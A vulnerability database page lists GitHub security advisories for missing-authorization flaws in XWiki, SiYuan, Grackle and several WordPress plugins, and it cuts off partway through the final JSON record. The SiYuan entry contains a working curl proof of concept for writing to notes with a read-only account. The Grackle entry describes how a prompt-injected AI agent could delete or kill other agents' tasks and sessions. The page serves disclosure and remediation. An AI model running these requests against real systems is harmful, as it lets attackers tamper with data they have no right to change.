Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14838 vulnerabilities reference this CWE, most recent first.

GHSA-F993-F86J-2HW6

Vulnerability from github – Published: 2026-01-07 12:31 – Updated: 2026-04-08 21:33
VLAI
Details

The Unify plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'init' action in all versions up to, and including, 3.4.9. This makes it possible for unauthenticated attackers to delete specific plugin options via the 'unify_plugin_downgrade' parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-07T12:16:49Z",
    "severity": "MODERATE"
  },
  "details": "The Unify plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027init\u0027 action in all versions up to, and including, 3.4.9. This makes it possible for unauthenticated attackers to delete specific plugin options via the \u0027unify_plugin_downgrade\u0027 parameter.",
  "id": "GHSA-f993-f86j-2hw6",
  "modified": "2026-04-08T21:33:09Z",
  "published": "2026-01-07T12:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13529"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/unify/tags/3.4.9/Services/Hooks.php#L154"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/unify/trunk/Services/Hooks.php#L154"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3447706"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b5fd4a47-0549-4d03-b81a-ad97d3d5d390?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F996-H3C6-GCWG

Vulnerability from github – Published: 2026-07-11 15:30 – Updated: 2026-07-11 15:30
VLAI
Details

PraisonAI Platform (praisonai-platform) before 0.1.9 fails to enforce owner/admin authorization on the PATCH routes for projects, issues, and agents, which only require workspace-member role. A workspace member can modify owner-created records; for projects, a member can reassign lead_id to their own user id and then delete the owner-created project, bypassing the delete route's owner/admin permission check.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-61442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-11T14:16:23Z",
    "severity": "HIGH"
  },
  "details": "PraisonAI Platform (praisonai-platform) before 0.1.9 fails to enforce owner/admin authorization on the PATCH routes for projects, issues, and agents, which only require workspace-member role. A workspace member can modify owner-created records; for projects, a member can reassign lead_id to their own user id and then delete the owner-created project, bypassing the delete route\u0027s owner/admin permission check.",
  "id": "GHSA-f996-h3c6-gcwg",
  "modified": "2026-07-11T15:30:23Z",
  "published": "2026-07-11T15:30:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61442"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F99F-842C-6WRR

Vulnerability from github – Published: 2023-04-17 15:30 – Updated: 2024-04-04 03:30
VLAI
Details

The W4 Post List WordPress plugin before 2.4.6 does not ensure that password protected posts can be accessed before displaying their content, which could allow any authenticated users to access them

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-17T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The W4 Post List WordPress plugin before 2.4.6 does not ensure that password protected posts can be accessed before displaying their content, which could allow any authenticated users to access them",
  "id": "GHSA-f99f-842c-6wrr",
  "modified": "2024-04-04T03:30:50Z",
  "published": "2023-04-17T15:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1371"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/ad5c167e-77f7-453c-9443-df6e07705d89"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9C6-2F9P-82JJ

Vulnerability from github – Published: 2025-04-30 16:51 – Updated: 2025-05-01 13:30
VLAI
Summary
Any user with view access to the XWiki space can change the authenticator
Details

Impact

A user who can access pages located in the XWiki space (by default, anyone) can access the page XWiki.Authentication.Administration and (unless an authenticator is set in xwiki.cfg) switch to another installed authenticator.

Note that, by default, there is only one authenticator available (Standard XWiki Authenticator). So, if no authenticator extension was installed, it's not really possible to do anything for an attacker.

Also, in most cases, if you have installed and are using an SSO authenticator (like OIDC or LDAP for example), the worst an attacker can do is break authentication by switching back to the standard authenticator (that's because it's impossible to login to a user which does not have a stored password, and that's usually what SSO authenticator produce).

Patches

This has been patched in XWiki 15.10.9 and XWiki 16.3.0RC1.

Workarounds

You can very easily fix this vulnerability in your instance through right configuration: * access the page and children right administration of the page XWiki.Authentication (https://myhost/xwiki/bin/admin/XWiki/Authentication/WebPreferences?editor=spaceadmin&section=PageAndChildrenRights&space=XWiki.Authentication#|t=usersandgroupstable&p=1&l=10&uorg=groups&wiki=local&clsname=XWiki.XWikiGlobalRights) * make sure only admin user have the VIEW right

References

https://jira.xwiki.org/browse/XWIKI-22604 https://github.com/xwiki/xwiki-platform/commit/5efc31cea1501c9a5cb593566fea8b558ff32a2a

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-security-authentication-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.3-rc-1"
            },
            {
              "fixed": "15.10.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-security-authentication-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.0.0-rc-1"
            },
            {
              "fixed": "16.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-security-authentication-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.5.0-rc-1"
            },
            {
              "fixed": "16.10.0-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46557"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-30T16:51:53Z",
    "nvd_published_at": "2025-04-30T19:15:55Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA user who can access pages located in the XWiki space (by default, anyone) can access the page `XWiki.Authentication.Administration` and (unless an authenticator is set in `xwiki.cfg`) switch to another installed authenticator.\n\nNote that, by default, there is only one authenticator available (`Standard XWiki Authenticator`). So, if no authenticator extension was installed, it\u0027s not really possible to do anything for an attacker.\n\nAlso, in most cases, if you have installed and are using an SSO authenticator (like OIDC or LDAP for example), the worst an attacker can do is break authentication by switching back to the standard authenticator (that\u0027s because it\u0027s impossible to login to a user which does not have a stored password, and that\u0027s usually what SSO authenticator produce).\n\n### Patches\n\nThis has been patched in XWiki 15.10.9 and XWiki 16.3.0RC1.\n\n### Workarounds\n\nYou can very easily fix this vulnerability in your instance through right configuration:\n* access the page and children right administration of the page `XWiki.Authentication` (`https://myhost/xwiki/bin/admin/XWiki/Authentication/WebPreferences?editor=spaceadmin\u0026section=PageAndChildrenRights\u0026space=XWiki.Authentication#|t=usersandgroupstable\u0026p=1\u0026l=10\u0026uorg=groups\u0026wiki=local\u0026clsname=XWiki.XWikiGlobalRights`)\n* make sure only admin user have the VIEW right\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-22604\nhttps://github.com/xwiki/xwiki-platform/commit/5efc31cea1501c9a5cb593566fea8b558ff32a2a\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)",
  "id": "GHSA-f9c6-2f9p-82jj",
  "modified": "2025-05-01T13:30:33Z",
  "published": "2025-04-30T16:51:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-f9c6-2f9p-82jj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46557"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/5efc31cea1501c9a5cb593566fea8b558ff32a2a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-22604"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Any user with view access to the XWiki space can change the authenticator"
}

GHSA-F9CQ-V43P-V523

Vulnerability from github – Published: 2026-03-09 18:18 – Updated: 2026-03-10 18:39
VLAI
Summary
SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren
Details

Summary

A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint.

The endpoint only requires model.CheckAuth, which accepts RoleReader sessions. Because the endpoint performs a persistent document mutation and does not enforce CheckAdminRole or CheckReadonly, a publish user with read-only privileges can append new blocks to existing documents.

This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.

Details

File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code:

- router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren)
- api/block.go: model.AppendHeadingChildren(id, childrenDOM)
- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)
- session.go: CheckAuth accepts RoleReader as authenticated

Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.

PoC

  1. Enable publish service and create low-privilege account
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
  "enable": true,
  "port": 6808,
  "auth": {
    "enable": true,
    "accounts": [
      {
        "username": "viewer",
        "password": "viewerpass"
      }
    ]
  }
}' \
http://127.0.0.1:6806/api/setting/setPublish
  1. Create a test notebook and document (admin)
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{"name":"AuditPOC"}' \
http://127.0.0.1:6806/api/notebook/createNotebook

Create a document containing a heading:

curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
  "notebook":"<NOTEBOOK_ID>",
  "path":"/Victim",
  "markdown":"# VictimHeading\n\nOriginal paragraph"
}' \
http://127.0.0.1:6806/api/filetree/createDocWithMd
  1. Retrieve heading block ID (low-priv publish account)
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \
http://127.0.0.1:6808/api/query/sql

Example response:

{
 "id":"20260307093334-05sj7bz",
 "root_id":"20260307093334-vsa6ft0"
}
  1. Generate block DOM
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"dom":"<p>InjectedByReader</p>"}' \
http://127.0.0.1:6808/api/lute/html2BlockDOM
  1. Append block using the vulnerable endpoint
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{
"id":"20260307093334-05sj7bz",
"childrenDOM":"<div ...>InjectedByReader</div>"
}' \
http://127.0.0.1:6808/api/block/appendHeadingChildren

Server response:

{"code":0}
  1. Verify unauthorized modification
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \
http://127.0.0.1:6808/api/query/sql

Result includes attacker-controlled content:

InjectedByReader

This confirms that the low-privilege publish user successfully modified the document.

Impact

This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.

Potential impacts include:

• Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges

The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260304035530-d03ebdec8279"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T18:18:39Z",
    "nvd_published_at": "2026-03-10T07:44:56Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the `/api/block/appendHeadingChildren` API endpoint.\n\nThe endpoint only requires `model.CheckAuth`, which accepts `RoleReader` sessions. Because the endpoint performs a persistent document mutation and does not enforce `CheckAdminRole` or `CheckReadonly`, a publish user with read-only privileges can append new blocks to existing documents.\n\nThis allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.\n\n### Details\n\nFile: router.go, block.go, block.go, session.go\nLines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209\nVulnerable Code:\n```\n- router.go: ginServer.Handle(\"POST\", \"/api/block/appendHeadingChildren\", model.CheckAuth, appendHeadingChildren)\n- api/block.go: model.AppendHeadingChildren(id, childrenDOM)\n- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)\n- session.go: CheckAuth accepts RoleReader as authenticated\n```\nWhy Vulnerable:\nA low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.\n\n\n\n### PoC\n\n1. Enable publish service and create low-privilege account\n```\ncurl -u workspace:\u003cACCESS_AUTH_CODE\u003e \\\n-H \"Content-Type: application/json\" \\\n-d \u0027{\n  \"enable\": true,\n  \"port\": 6808,\n  \"auth\": {\n    \"enable\": true,\n    \"accounts\": [\n      {\n        \"username\": \"viewer\",\n        \"password\": \"viewerpass\"\n      }\n    ]\n  }\n}\u0027 \\\nhttp://127.0.0.1:6806/api/setting/setPublish\n```\n2. Create a test notebook and document (admin)\n```\ncurl -u workspace:\u003cACCESS_AUTH_CODE\u003e \\\n-H \"Content-Type: application/json\" \\\n-d \u0027{\"name\":\"AuditPOC\"}\u0027 \\\nhttp://127.0.0.1:6806/api/notebook/createNotebook\n```\nCreate a document containing a heading:\n```\ncurl -u workspace:\u003cACCESS_AUTH_CODE\u003e \\\n-H \"Content-Type: application/json\" \\\n-d \u0027{\n  \"notebook\":\"\u003cNOTEBOOK_ID\u003e\",\n  \"path\":\"/Victim\",\n  \"markdown\":\"# VictimHeading\\n\\nOriginal paragraph\"\n}\u0027 \\\nhttp://127.0.0.1:6806/api/filetree/createDocWithMd\n```\n3. Retrieve heading block ID (low-priv publish account)\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d \u0027{\"stmt\":\"SELECT id,root_id FROM blocks WHERE content=\u0027\\\u0027\u0027VictimHeading\u0027\\\u0027\u0027 LIMIT 1\"}\u0027 \\\nhttp://127.0.0.1:6808/api/query/sql\n```\nExample response:\n```\n{\n \"id\":\"20260307093334-05sj7bz\",\n \"root_id\":\"20260307093334-vsa6ft0\"\n}\n```\n4. Generate block DOM\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d \u0027{\"dom\":\"\u003cp\u003eInjectedByReader\u003c/p\u003e\"}\u0027 \\\nhttp://127.0.0.1:6808/api/lute/html2BlockDOM\n```\n\n5. Append block using the vulnerable endpoint\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d \u0027{\n\"id\":\"20260307093334-05sj7bz\",\n\"childrenDOM\":\"\u003cdiv ...\u003eInjectedByReader\u003c/div\u003e\"\n}\u0027 \\\nhttp://127.0.0.1:6808/api/block/appendHeadingChildren\n```\nServer response:\n```\n{\"code\":0}\n```\n\n6. Verify unauthorized modification\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d \u0027{\"stmt\":\"SELECT content FROM blocks WHERE root_id=\u0027\\\u0027\u002720260307093334-vsa6ft0\u0027\\\u0027\u0027 ORDER BY sort\"}\u0027 \\\nhttp://127.0.0.1:6808/api/query/sql\n```\nResult includes attacker-controlled content:\n```\nInjectedByReader\n```\nThis confirms that the low-privilege publish user successfully modified the document.\n\n### Impact\nThis vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.\n\nPotential impacts include:\n\n\u2022 Unauthorized modification of private notes\n\u2022 Content tampering in published notebooks\n\u2022 Loss of data integrity\n\u2022 Possible chaining with other API endpoints to escalate further privileges\n\nThe issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.",
  "id": "GHSA-f9cq-v43p-v523",
  "modified": "2026-03-10T18:39:39Z",
  "published": "2026-03-09T18:18:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-f9cq-v43p-v523"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30926"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren"
}

GHSA-F9FF-5X35-7GFW

Vulnerability from github – Published: 2026-07-02 19:35 – Updated: 2026-07-02 19:35
VLAI
Summary
Grackle: Fail-open authorization in the MCP tool layer lets scoped agents perform cross-task and cross-session mutations (IDOR)
Details

Summary

Authorization for scoped (agent) MCP callers is enforced inline, per tool, and is applied inconsistently — several mutating tools silently omit the ancestry/workspace check that their siblings perform. Because the MCP server authenticates all outbound gRPC with the full server API key and the backend gRPC handlers perform no caller-based authorization, the MCP tool layer is the sole authorization boundary. A malicious or prompt-injected scoped agent can therefore perform cross-task and cross-session operations it should not be allowed to (an IDOR / privilege-boundary bypass).

This advisory bundles the audit's Systemic Pattern A findings: F2, F6, F7, F12 (and the duplicate F19).

Affected versions

@grackle-ai/mcp (with @grackle-ai/plugin-core / @grackle-ai/auth) at 0.132.1 and earlier.

Root cause

  • mcp-server.ts:111-127 (createGrpcClients) sets Authorization: Bearer ${apiKey} (the full server key) on every outbound gRPC call.
  • Backend handlers (updateTask, deleteTask, resumeTask, killAgent, getTask in plugin-core) take only the request message — no AuthContext — and act on whatever ID is passed.
  • Therefore scope must be enforced in each MCP tool handler. Some call assertCallerIsAncestor (task_complete, task_start, session_attach, session_send_input); their destructive siblings do not. New tools that forget the check fail open.

F2 — task_update / task_delete / task_resume bypass ancestry (High)

Location: packages/mcp/src/tools/task.ts:226 (task_update), :393 (task_delete), :465 (task_resume).

These accept an arbitrary taskId with only a ROOT_TASK_ID special-case and no assertCallerIsAncestor. The central dispatcher hardcodes its workspace gate to name === "task_show", and these tools' Zod schemas have no workspaceId field (so the blanket injection is stripped). They are not in DEFAULT_SCOPED_MCP_TOOLS but are in the shipped ORCHESTRATOR_MCP_TOOLS / ADMIN_MCP_TOOLS presets.

Exploit: a scoped agent under the orchestrator persona learns a sibling/parent/cross-workspace task ID (via task_list/task_search), then task_delete {taskId: <victim>} (permanently destroys another agent's or the human parent's work) or task_update to flip a sibling to complete/failed or rewrite its dependency DAG and budgets.

F6 — session_kill / session_resume bypass ancestry (Medium)

Location: packages/mcp/src/tools/session.ts:95 (session_resume), :178 (session_kill).

Call client.killAgent / client.resumeAgent directly with no auth context, unlike session_attach/session_send_input. session_kill is in the orchestrator preset. Exploit: cross-session SIGKILL DoS against a sibling agent or the root orchestrator; foreign session resume.

F7 — Workspaceless scoped token fails open to all workspaces (Medium)

Location: packages/mcp/src/mcp-server.ts:565-600.

The per-task cross-workspace check (task_show block) is gated on authContext.workspaceId being truthy. A task created without a workspace (a supported config) mints a scoped token with pid: ""workspaceId: undefined, so the check is skipped and the injected workspaceId becomes "", which the backend treats as "all workspaces." Exploit: a malicious agent in a workspaceless session calls task_list (no args) → reads every task in every workspace, then task_show {taskId} cross-workspace (title/description/branch/review-notes). schedule_show (in the default scoped allowlist) resolves by ID with no workspace check. Read-only cross-workspace disclosure.

F12 — Scoped-token revocation is dead code (Low)

Location: packages/auth/src/scoped-token.ts:23,142-149.

The consuming check is wired (auth-middleware.ts:90-92), but revokeTask() is never called outside tests — no task-abort/stop flow invokes it — and the backing revokedTasks Map is in-memory only (lost on restart). A compromised agent that exfiltrated its scoped token keeps authenticating for the full 24h TTL regardless of task lifecycle.

Remediation

  • Systemic fix: enforce scope centrally in the CallToolRequest dispatcher (mcp-server.ts) via a per-tool targetTaskIdArg / targetSessionIdArg descriptor so any tool that targets a task/session fails closed unless the caller is an ancestor (or self).
  • Immediately, add assertCallerIsAncestor (or self-or-ancestor) to task_update, task_delete, task_resume, session_kill, session_resume, mirroring task_complete/task_start.
  • F7: do not fail open on empty workspaceId — treat a scoped non-root caller with no workspace as having access to no workspace; apply the task_show membership check whenever the caller is scoped and not ROOT_TASK_ID; add a per-id membership check to schedule_show.
  • F12: wire revokeTask() into task-abort/stop flows with SQLite-backed persistence (like channel-grant revocation), or remove the dead API and document the 24h window.
  • Add regression tests mirroring the existing task_complete ancestor tests for each mutator.

CWEs

CWE-862 (Missing Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key / IDOR), CWE-613 (Insufficient Session Expiration).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grackle-ai/mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.132.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grackle-ai/plugin-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.132.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grackle-ai/auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.132.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-613",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:35:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAuthorization for scoped (agent) MCP callers is enforced **inline, per tool**, and is applied inconsistently \u2014 several mutating tools silently omit the ancestry/workspace check that their siblings perform. Because the MCP server authenticates all outbound gRPC with the full server API key and the backend gRPC handlers perform **no caller-based authorization**, the MCP tool layer is the *sole* authorization boundary. A malicious or prompt-injected scoped agent can therefore perform cross-task and cross-session operations it should not be allowed to (an IDOR / privilege-boundary bypass).\n\nThis advisory bundles the audit\u0027s **Systemic Pattern A** findings: **F2, F6, F7, F12** (and the duplicate F19).\n\n## Affected versions\n\n`@grackle-ai/mcp` (with `@grackle-ai/plugin-core` / `@grackle-ai/auth`) at **0.132.1** and earlier.\n\n## Root cause\n\n- `mcp-server.ts:111-127` (`createGrpcClients`) sets `Authorization: Bearer ${apiKey}` (the full server key) on every outbound gRPC call.\n- Backend handlers (`updateTask`, `deleteTask`, `resumeTask`, `killAgent`, `getTask` in `plugin-core`) take only the request message \u2014 no `AuthContext` \u2014 and act on whatever ID is passed.\n- Therefore scope must be enforced in each MCP tool handler. Some call `assertCallerIsAncestor` (`task_complete`, `task_start`, `session_attach`, `session_send_input`); their destructive siblings do not. New tools that forget the check **fail open**.\n\n## F2 \u2014 task_update / task_delete / task_resume bypass ancestry (High)\n\n**Location:** `packages/mcp/src/tools/task.ts:226` (task_update), `:393` (task_delete), `:465` (task_resume).\n\nThese accept an arbitrary `taskId` with only a `ROOT_TASK_ID` special-case and no `assertCallerIsAncestor`. The central dispatcher hardcodes its workspace gate to `name === \"task_show\"`, and these tools\u0027 Zod schemas have no `workspaceId` field (so the blanket injection is stripped). They are not in `DEFAULT_SCOPED_MCP_TOOLS` but **are** in the shipped `ORCHESTRATOR_MCP_TOOLS` / `ADMIN_MCP_TOOLS` presets.\n\n**Exploit:** a scoped agent under the orchestrator persona learns a sibling/parent/cross-workspace task ID (via `task_list`/`task_search`), then `task_delete {taskId: \u003cvictim\u003e}` (permanently destroys another agent\u0027s or the human parent\u0027s work) or `task_update` to flip a sibling to `complete`/`failed` or rewrite its dependency DAG and budgets.\n\n## F6 \u2014 session_kill / session_resume bypass ancestry (Medium)\n\n**Location:** `packages/mcp/src/tools/session.ts:95` (session_resume), `:178` (session_kill).\n\nCall `client.killAgent` / `client.resumeAgent` directly with no auth context, unlike `session_attach`/`session_send_input`. `session_kill` is in the orchestrator preset. **Exploit:** cross-session SIGKILL DoS against a sibling agent or the root orchestrator; foreign session resume.\n\n## F7 \u2014 Workspaceless scoped token fails open to all workspaces (Medium)\n\n**Location:** `packages/mcp/src/mcp-server.ts:565-600`.\n\nThe per-task cross-workspace check (`task_show` block) is gated on `authContext.workspaceId` being truthy. A task created without a workspace (a supported config) mints a scoped token with `pid: \"\"` \u2192 `workspaceId: undefined`, so the check is skipped and the injected `workspaceId` becomes `\"\"`, which the backend treats as \"all workspaces.\" **Exploit:** a malicious agent in a workspaceless session calls `task_list` (no args) \u2192 reads every task in every workspace, then `task_show {taskId}` cross-workspace (title/description/branch/review-notes). `schedule_show` (in the default scoped allowlist) resolves by ID with no workspace check. Read-only cross-workspace disclosure.\n\n## F12 \u2014 Scoped-token revocation is dead code (Low)\n\n**Location:** `packages/auth/src/scoped-token.ts:23,142-149`.\n\nThe consuming check is wired (`auth-middleware.ts:90-92`), but `revokeTask()` is **never called outside tests** \u2014 no task-abort/stop flow invokes it \u2014 and the backing `revokedTasks` Map is in-memory only (lost on restart). A compromised agent that exfiltrated its scoped token keeps authenticating for the full 24h TTL regardless of task lifecycle.\n\n## Remediation\n\n- **Systemic fix:** enforce scope **centrally** in the `CallToolRequest` dispatcher (`mcp-server.ts`) via a per-tool `targetTaskIdArg` / `targetSessionIdArg` descriptor so any tool that targets a task/session **fails closed** unless the caller is an ancestor (or self).\n- Immediately, add `assertCallerIsAncestor` (or self-or-ancestor) to `task_update`, `task_delete`, `task_resume`, `session_kill`, `session_resume`, mirroring `task_complete`/`task_start`.\n- F7: do **not** fail open on empty `workspaceId` \u2014 treat a scoped non-root caller with no workspace as having access to *no* workspace; apply the `task_show` membership check whenever the caller is scoped and not `ROOT_TASK_ID`; add a per-id membership check to `schedule_show`.\n- F12: wire `revokeTask()` into task-abort/stop flows with SQLite-backed persistence (like channel-grant revocation), or remove the dead API and document the 24h window.\n- Add regression tests mirroring the existing `task_complete` ancestor tests for each mutator.\n\n## CWEs\n\nCWE-862 (Missing Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key / IDOR), CWE-613 (Insufficient Session Expiration).",
  "id": "GHSA-f9ff-5x35-7gfw",
  "modified": "2026-07-02T19:35:03Z",
  "published": "2026-07-02T19:35:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nick-pape/grackle/security/advisories/GHSA-f9ff-5x35-7gfw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nick-pape/grackle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
